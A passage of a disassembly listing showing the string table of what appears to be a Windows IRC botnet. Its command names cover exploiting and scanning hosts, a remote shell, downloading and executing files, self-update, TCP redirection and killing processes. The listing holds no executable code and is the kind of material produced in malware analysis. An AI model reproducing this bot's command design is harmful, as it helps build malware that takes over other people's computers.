unk_438AC8 db 2Dh ; - ; DATA XREF: sub_403038+354Fo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_438AFC db 2Dh ; - ; DATA XREF: sub_403038+35BEo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0
align 4
aCrash db 'crash',0 ; DATA XREF: sub_403038+1F31o
align 10h
dword_438B40 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_403038+1F47o
dd 746F6220h, 2Eh
aCrash_0 db 'crash',0 ; DATA XREF: sub_403038+1F81o
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_403038+1F97o
aSa db 'sa',0 ; DATA XREF: sub_403038+1FACo
align 10h
unk_438B70 db 2Dh ; - ; DATA XREF: sub_403038+31DFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
unk_438BB0 db 2Dh ; - ; DATA XREF: sub_403038:loc_4064BFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_7 db '- Failed to start scan, port is invalid.',0
align 4
aRandom db 'Random',0 ; DATA XREF: sub_403038+3397o
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_403038+339Eo
align 4
unk_438BFC db 2Dh ; - ; DATA XREF: sub_403038+33C9o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
unk_438C68 db 2Dh ; - ; DATA XREF: sub_403038+343Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_8 db '- Failed to start scan thread, error: <%d>.',0
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_403038+1FC1o
align 10h
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_403038+1FD8o
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_403038+1FEEo
unk_438CDC db 2Dh ; - ; DATA XREF: sub_403038+2072o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
unk_438D0C db 2Dh ; - ; DATA XREF: sub_403038+20DDo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_403038+2124o
align 4
aRin db 'rin',0 ; DATA XREF: sub_403038+2139o
aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406185o
align 4
unk_438D78 db 2Dh ; - ; DATA XREF: sub_403038+3168o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 10h
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_403038+214Eo
aRinms db 'rinms',0 ; DATA XREF: sub_403038+2163o
align 4
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_40613Co
align 10h
unk_438DD0 db 2Dh ; - ; DATA XREF: sub_403038+311Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
aNick_0 db 'nick',0 ; DATA XREF: sub_403038+2178o
align 4
aN: ; DATA XREF: sub_403038+218Do
unicode 0, <n>,0
aNickS_0 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+30ECo
align 4
unk_438E0C db 2Dh ; - ; DATA XREF: sub_403038+30FAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
aJoin db 'join',0 ; DATA XREF: sub_403038+21A2o
align 4
aJ: ; DATA XREF: sub_403038+21B7o
unicode 0, <j>,0
aJoinSS_1 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+30CCo
align 4
unk_438E4C db 2Dh ; - ; DATA XREF: sub_403038+30DAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0
align 10h
aPart_1 db 'part',0 ; DATA XREF: sub_403038+21CCo
align 4
aPt db 'pt',0 ; DATA XREF: sub_403038+21E1o
align 4
aPartS db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+30A5o
align 4
unk_438E88 db 2Dh ; - ; DATA XREF: sub_403038+30B3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
aRaw db 'raw',0 ; DATA XREF: sub_403038+21F6o
aR_1: ; DATA XREF: sub_403038+220Bo
unicode 0, <r>,0
aS_28 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3085o
align 4
dword_438EBC dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_403038+3093o
dd 2E732520h, 0
aKillthread db 'killthread',0 ; DATA XREF: sub_403038+2220o
align 4
aK: ; DATA XREF: sub_403038+2235o
unicode 0, <k>,0
aAll db 'all',0 ; DATA XREF: sub_403038+2F9Eo
unk_438EEC db 2Dh ; - ; DATA XREF: sub_403038+2FB8o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
unk_438F14 db 2Dh ; - ; DATA XREF: sub_403038:loc_405FFAo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_438F3C db 2Dh ; - ; DATA XREF: sub_403038+3008o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 10h
unk_438F60 db 2Dh ; - ; DATA XREF: sub_403038:loc_406047o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
aC_quit db 'c_quit',0 ; DATA XREF: sub_403038+224Ao
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_403038+225Fo
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_403038+2F0Do
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_403038+2274o
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_403038+2289o
align 4
aNickS db 'NICK %s',0 ; DATA XREF: sub_403038+2EC6o
aS_13 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+2EDBo
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_403038+229Eo
align 4
aPr db 'pr',0 ; DATA XREF: sub_403038+22B3o
align 4
unk_438FD8 db 2Dh ; - ; DATA XREF: sub_403038+2E7Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
aOpen db 'open',0 ; DATA XREF: sub_403038+22C8o
align 4
aO: ; DATA XREF: sub_403038+22DDo
unicode 0, <o>,0
aOpen_0 db 'open',0 ; DATA XREF: sub_403038+2E46o
align 4
unk_439014 db 2Dh ; - ; DATA XREF: sub_403038+2E57o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_439034 db 2Dh ; - ; DATA XREF: sub_403038:loc_405E99o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
aServer db 'server',0 ; DATA XREF: sub_403038+22F2o
align 10h
aSe db 'se',0 ; DATA XREF: sub_403038+2307o
align 4
unk_439064 db 2Dh ; - ; DATA XREF: sub_403038+2E27o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
aDns db 'dns',0 ; DATA XREF: sub_403038+231Co
aDn db 'dn',0 ; DATA XREF: sub_403038+2331o
align 4
unk_439094 db 2Dh ; - ; DATA XREF: sub_403038+2DCAo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_4390B4 db 2Dh ; - ; DATA XREF: sub_403038+2DFDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS__0 db '- Lookup: %s -> %s.',0
align 4
unk_4390D4 db 2Dh ; - ; DATA XREF: sub_403038:loc_405E3Co
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_403038+2346o
align 4
aKp db 'kp',0 ; DATA XREF: sub_403038+235Bo
align 4
unk_43910C db 2Dh ; - ; DATA XREF: sub_403038+2D8Bo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_43912C db 2Dh ; - ; DATA XREF: sub_403038:loc_405DCDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
aKill db 'kill',0 ; DATA XREF: sub_403038+2370o
align 4
aKi db 'ki',0 ; DATA XREF: sub_403038+2385o
align 4
unk_439168 db 2Dh ; - ; DATA XREF: sub_403038+2D58o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
unk_43918C db 2Dh ; - ; DATA XREF: sub_403038:loc_405D9Ao
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
aDelete db 'delete',0 ; DATA XREF: sub_403038+239Ao
align 4
aDel db 'del',0 ; DATA XREF: sub_403038+23AFo
dword_4391C8 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_403038+2D12o
dd 27732527h, 2Eh
dword_4391E4 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_403038:loc_405D68o
dword_4391F0 dd 746567h ; DATA XREF: sub_403038+23C4o
dword_4391F4 dd 7467h ; DATA XREF: sub_403038+23D9o
dword_4391F8 dd 7325h ; DATA XREF: sub_403038+2C34o
unk_4391FC db 2Dh ; - ; DATA XREF: sub_403038+2C86o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
unk_439220 db 2Dh ; - ; DATA XREF: sub_403038+2CF5o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStar_9 db '- Failed to start transfer thread, error: <%d>.',0
align 4
aList db 'list',0 ; DATA XREF: sub_403038+23EEo
align 4
aLi db 'li',0 ; DATA XREF: sub_403038+2403o
align 4
dword_439268 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_403038+2C0Eo
dd 0
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_403038+2418o
aMirc db 'mirc',0 ; DATA XREF: sub_403038+242Do
align 10h
unk_439290 db 2Dh ; - ; DATA XREF: sub_403038+2BE2o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 10h
dword_4392B0 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_403038:loc_405C24o
dd 746E6573h, 2Eh
aVisit db 'visit',0 ; DATA XREF: sub_403038+2442o
align 4
aV: ; DATA XREF: sub_403038+2457o
unicode 0, <v>,0
dword_4392D8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_403038+2B3Co
dd 2Eh
unk_4392F0 db 2Dh ; - ; DATA XREF: sub_403038+2BABo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToSta_10 db ' Failed to start connection thread, error: <%d>.',0
align 10h
aCmd db 'cmd',0 ; DATA XREF: sub_403038+246Co
aCm db 'cm',0 ; DATA XREF: sub_403038+2481o
align 4
asc_439338: ; DATA XREF: sub_403038+2A95o
dw 0Ah
unicode 0, <>,0
unk_43933C db 2Dh ; - ; DATA XREF: sub_403038+2AADo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
dword_439368 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_403038+2AC6o
dd 732520h
aReadfile db 'readfile',0 ; DATA XREF: sub_403038+2496o
align 4
aRf db 'rf',0 ; DATA XREF: sub_403038+24ABo
align 10h
aR_0: ; DATA XREF: sub_403038+29E7o
unicode 0, <r>,0
unk_439394 db 2Dh ; - ; DATA XREF: sub_403038+2A53o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_4393B8 db 2Dh ; - ; DATA XREF: sub_403038+2A67o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_403038+24C0o
align 4
aOn db 'on',0 ; DATA XREF: sub_403038+24DCo
align 4
dword_4393E8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+24F8o
aAlreadyRunni_1 db '- Already running.',0
align 4
dword_439408 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+2508o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_439434 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+2555o
aFailedToSta_11 db '- Failed to start server, error: <%d>.',0
align 4
aOff db 'off',0 ; DATA XREF: sub_403038+2560o
dword_43946C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038+2583o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_4394A4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_403038:loc_4055C5o
aNoThreadFound_ db '- No thread found.',0
align 4
aNet db 'net',0 ; DATA XREF: sub_403038+25A6o
aStart db 'start',0 ; DATA XREF: sub_403038+2601o
align 10h
aS_2 db '%s',0 ; DATA XREF: sub_403038+2623o
align 4
unk_4394D4 db 2Dh ; - ; DATA XREF: sub_403038+2654o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
unk_4394F8 db 2Dh ; - ; DATA XREF: sub_403038:loc_405696o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
aStop db 'stop',0 ; DATA XREF: sub_403038+266Bo
align 10h
aS_3 db '%s',0 ; DATA XREF: sub_403038+2686o
align 4
aPause db 'pause',0 ; DATA XREF: sub_403038+2690o
align 4
aS_4 db '%s',0 ; DATA XREF: sub_403038+26ABo
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_403038+26B8o
align 4
aS_5 db '%s',0 ; DATA XREF: sub_403038+26D3o
align 10h
aDelete_0 db 'delete',0 ; DATA XREF: sub_403038+26E0o
align 4
aS_6 db '%s',0 ; DATA XREF: sub_403038+26FBo
align 4
aShare db 'share',0 ; DATA XREF: sub_403038+2708o
align 4
aS_7 db '%s',0 ; DATA XREF: sub_403038+272Eo
align 4
aS_8 db '%s',0 ; DATA XREF: sub_403038+2744o
align 4
unk_43955C db 2Dh ; - ; DATA XREF: sub_403038+2776o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
unk_439580 db 2Dh ; - ; DATA XREF: sub_403038:loc_4057B8o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 10h
aUser db 'user',0 ; DATA XREF: sub_403038+278Do
align 4
aS_9 db '%s',0 ; DATA XREF: sub_403038+27C3o
align 4
aS_10 db '%s',0 ; DATA XREF: sub_403038+27EAo
align 10h
aS_11 db '%s',0 ; DATA XREF: sub_403038+27FBo
align 4
unk_4395B4 db 2Dh ; - ; DATA XREF: sub_403038+282Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_4395D4 db 2Dh ; - ; DATA XREF: sub_403038:loc_40586Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
aSend_2 db 'send',0 ; DATA XREF: sub_403038+283Eo
align 4
aS_12 db '%s',0 ; DATA XREF: sub_403038+286Do
align 10h
unk_439600 db 2Dh ; - ; DATA XREF: sub_403038:loc_4058B5o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
unk_439624 db 2Dh ; - ; DATA XREF: sub_403038:loc_4058BCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_439640 db 2Dh ; - ; DATA XREF: sub_403038+25CAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aGethost db 'gethost',0 ; DATA XREF: sub_403038+28D0o
aGh db 'gh',0 ; DATA XREF: sub_403038+28E1o
align 4
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_403038+2944o
align 4
unk_439694 db 2Dh ; - ; DATA XREF: sub_403038+296Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_4396BC db 2Dh ; - ; DATA XREF: sub_403038+2987o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
dword_4396EC dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_403038+29C2o
dd 2E732520h, 0
aKilllog db 'killlog',0 ; DATA XREF: sub_403038+1903o
aKl db 'kl',0 ; DATA XREF: sub_403038+1918o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_403038+192Do
align 10h
aAa db 'aa',0 ; DATA XREF: sub_403038+1942o
align 4
unk_439724 db 2Dh ; - ; DATA XREF: sub_403038+54D4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
aPrivmsg_2 db 'privmsg',0 ; DATA XREF: sub_403038+1957o
aPm db 'pm',0 ; DATA XREF: sub_403038+196Co
align 10h
unk_439750 db 2Dh ; - ; DATA XREF: sub_403038+548Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 10h
aAction db 'action',0 ; DATA XREF: sub_403038+1981o
align 4
aA: ; DATA XREF: sub_403038+1996o
unicode 0, <a>,0
dword_43977C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_403038+540Fo
unk_439788 db 2Dh ; - ; DATA XREF: sub_403038+542Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
aCycle db 'cycle',0 ; DATA XREF: sub_403038+19ABo
align 4
aCy db 'cy',0 ; DATA XREF: sub_403038+19C0o
align 10h
a332_0 db '332',0 ; DATA XREF: sub_403038+5364o
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+537Bo
align 10h
aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+53AEo
align 10h
dword_4397D0 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_403038+53BBo
aMode db 'mode',0 ; DATA XREF: sub_403038+19D5o
align 4
aM: ; DATA XREF: sub_403038+19EAo
unicode 0, <m>,0
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+533Eo
align 4
unk_4397FC db 2Dh ; - ; DATA XREF: sub_403038+534Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aC_raw db 'c_raw',0 ; DATA XREF: sub_403038+19FFo
align 10h
aC_r db 'c_r',0 ; DATA XREF: sub_403038+1A14o
aS_18 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+52F0o
align 4
dword_43982C dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_403038+530Fo
dd 25203A29h, 73h
aC_mode db 'c_mode',0 ; DATA XREF: sub_403038+1A29o
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_403038+1A3Eo
aModeS db 'MODE %s',0 ; DATA XREF: sub_403038+5241o
aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+527Eo
align 4
dword_439864 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_403038+529Do
dd 203A2973h, 7325h
aC_nick db 'c_nick',0 ; DATA XREF: sub_403038+1A53o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_403038+1A68o
aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_403038+51AFo
aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+51EBo
align 4
dword_43989C dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_403038+520Co
dd 203A2973h, 7325h
aC_join db 'c_join',0 ; DATA XREF: sub_403038+1A7Do
align 10h
aC_j db 'c_j',0 ; DATA XREF: sub_403038+1A92o
aJoinSS_2 db 'JOIN %s %s',0 ; DATA XREF: sub_403038+5163o
align 10h
aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+519Fo
align 4
aC_part db 'c_part',0 ; DATA XREF: sub_403038+1AA7o
align 10h
aC_p db 'c_p',0 ; DATA XREF: sub_403038+1ABCo
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_403038+50F2o
aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+512Eo
align 4
aUpdateroooom db 'updateroooom',0 ; DATA XREF: sub_403038+1AD1o
align 4
aUproo db 'uproo',0 ; DATA XREF: sub_403038+1AE6o
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_403038+4FC3o
align 4
dword_439918 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_403038+5066o
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
dword_439944 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_403038+50D5o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_439980 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_403038:loc_408117o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
aExecute db 'execute',0 ; DATA XREF: sub_403038+1AFBo
aE: ; DATA XREF: sub_403038+1B10o
unicode 0, <e>,0
unk_4399D4 db 2Dh ; - ; DATA XREF: sub_403038+4F52o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
dword_4399F8 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_403038+4F5Do
dd 7325203Ah, 0
aMydear db 'mydear',0 ; DATA XREF: sub_403038+1B25o
align 4
aMydear_0 db 'mydear',0 ; DATA XREF: sub_403038+1B3Ao
align 4
unk_439A24 db 2Dh ; - ; DATA XREF: sub_403038+4E31o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_439A50 db 2Dh ; - ; DATA XREF: sub_403038+4E9Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start transfer thread, error: <%d>.',0
align 10h
aRedirect db 'redirect',0 ; DATA XREF: sub_403038+1B4Fo
align 4
aRd db 'rd',0 ; DATA XREF: sub_403038+1B64o
align 10h
unk_439AA0 db 2Dh ; - ; DATA XREF: sub_403038+4CDBo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_439ADC db 2Dh ; - ; DATA XREF: sub_403038+4D4Ao
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 10h
aScan db 'scan',0 ; DATA XREF: sub_403038+1B79o
align 4
aSc db 'sc',0 ; DATA XREF: sub_403038+1B8Eo
align 4
unk_439B2C db 2Dh ; - ; DATA XREF: sub_403038+4BD7o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
unk_439B68 db 2Dh ; - ; DATA XREF: sub_403038+4C46o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_13 db 'Failed to start scan thread, error: <%d>.',0
align 10h
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_403038+1BA3o
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_403038+1BB8o
align 4
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_403038+4B49o
align 4
aC_action db 'c_action',0 ; DATA XREF: sub_403038+1BCDo
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_403038+1BE2o
dword_439BD4 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_403038+49A8o
dword_439BE0 dd 5D73255Bh, 25202A20h, 73252073h, 0 ; DATA XREF: sub_403038+4A39o
aPortscan db 'portscan',0 ; DATA XREF: sub_403038+1C06o
align 4
aPsc db 'psc',0 ; DATA XREF: sub_403038+1C1Bo
unk_439C00 db 2Dh ; - ; DATA XREF: sub_403038+48CAo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_439C50 db 2Dh ; - ; DATA XREF: sub_403038+4939o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_14 db 'Failed to start scan thread, error: <%d>.',0
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_403038+1C30o
aAsc db 'asc',0 ; DATA XREF: sub_403038+1C45o
unk_439C98 db 2Dh ; - ; DATA XREF: sub_403038+4375o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0
align 4
unk_439CD8 db 2Dh ; - ; DATA XREF: sub_403038+45E2o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_15 db 'Failed to start scan, port is invalid.',0
align 4
unk_439D0C db 2Dh ; - ; DATA XREF: sub_403038+463Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_16 db 'Failed to start scan, no IP specified.',0
align 10h
aRandom_0 db 'Random',0 ; DATA XREF: sub_403038+4788o
align 4
aSequential_0 db 'Sequential',0 ; DATA XREF: sub_403038+478Fo
